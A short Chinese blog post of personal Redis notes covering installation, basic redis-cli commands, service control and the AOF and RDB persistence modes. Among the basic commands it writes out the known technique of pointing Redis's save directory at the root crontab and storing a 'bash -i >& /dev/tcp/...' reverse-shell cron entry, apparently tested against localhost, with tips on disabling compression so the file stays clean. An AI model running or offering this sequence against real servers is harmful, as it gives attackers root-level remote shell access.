redis小记

发布于:2025-02-26 ⋅ 阅读:(10) ⋅ 点赞:(0)

redis小记

下载redis
sudo apt-get install redis-server

redis基本命令

ubuntu16下的redis没有protected-mode属性,就算sudo启动,也不能往/var/spool/cron/crontabs写计划任务,感觉很安全

#连接到redis
redis-cli -h 127.0.0.1 -p 6379 -a your_password
#退出redis命令行
quit
#删除数据库中的所有键
flushall

#查看所有键值对
keys * 
#查看该键的值
get keyname 

#更改Redis的工作目录
config set dir /var/spool/cron/crontabs #这个目录后面save会报错
#设置键值对8:...
#注意计划任务上下要换行防止redis的一些乱码信息污染
SET 8 "\n\n* * * * * bash -i >& /dev/tcp/127.0.0.1/5555 0>&1\n\n"


#更改Redis数据库文件的名称
config set dbfilename root
#命令Redis保存当前数据库状态到磁盘
save
#改配置
vim /etc/redis/redis.conf
#一些操作
sudo systemctl disable redis-server #禁止redis自启动
ps -aux |grep redis
kill -9 进程号 
sudo systemctl stop redis-server 
sudo systemctl status redis-server 
sudo systemctl restart redis-server

redis持久化方式

AOF

AOF是一种日志持久化方式,它记录了服务器执行的所有写操作命令。这些命令会以追加的方式写入到AOF文件中,当Redis需要恢复数据时,只需执行AOF文件中的命令就可以恢复到原来的状态。

appendonly yes

RDB

RDB是一种快照持久化方式,它通过定期将Redis内存中的数据集保存到磁盘上的一个二进制文件中(通常命名为dump.rdb)。这个文件是一个紧凑的二进制文件,包含了某个时间点的完整数据快照。当Redis重新启动时,它可以加载这个RDB文件,恢复到上次保存的时间点。

rdbcompression yes

查看redis配置文件redis.conf

rdbcompression yesrdb持久化开启时,save会进行压缩存储导致一些乱码

在这里插入图片描述

关闭一下再save

config set rdbcompression no

在这里插入图片描述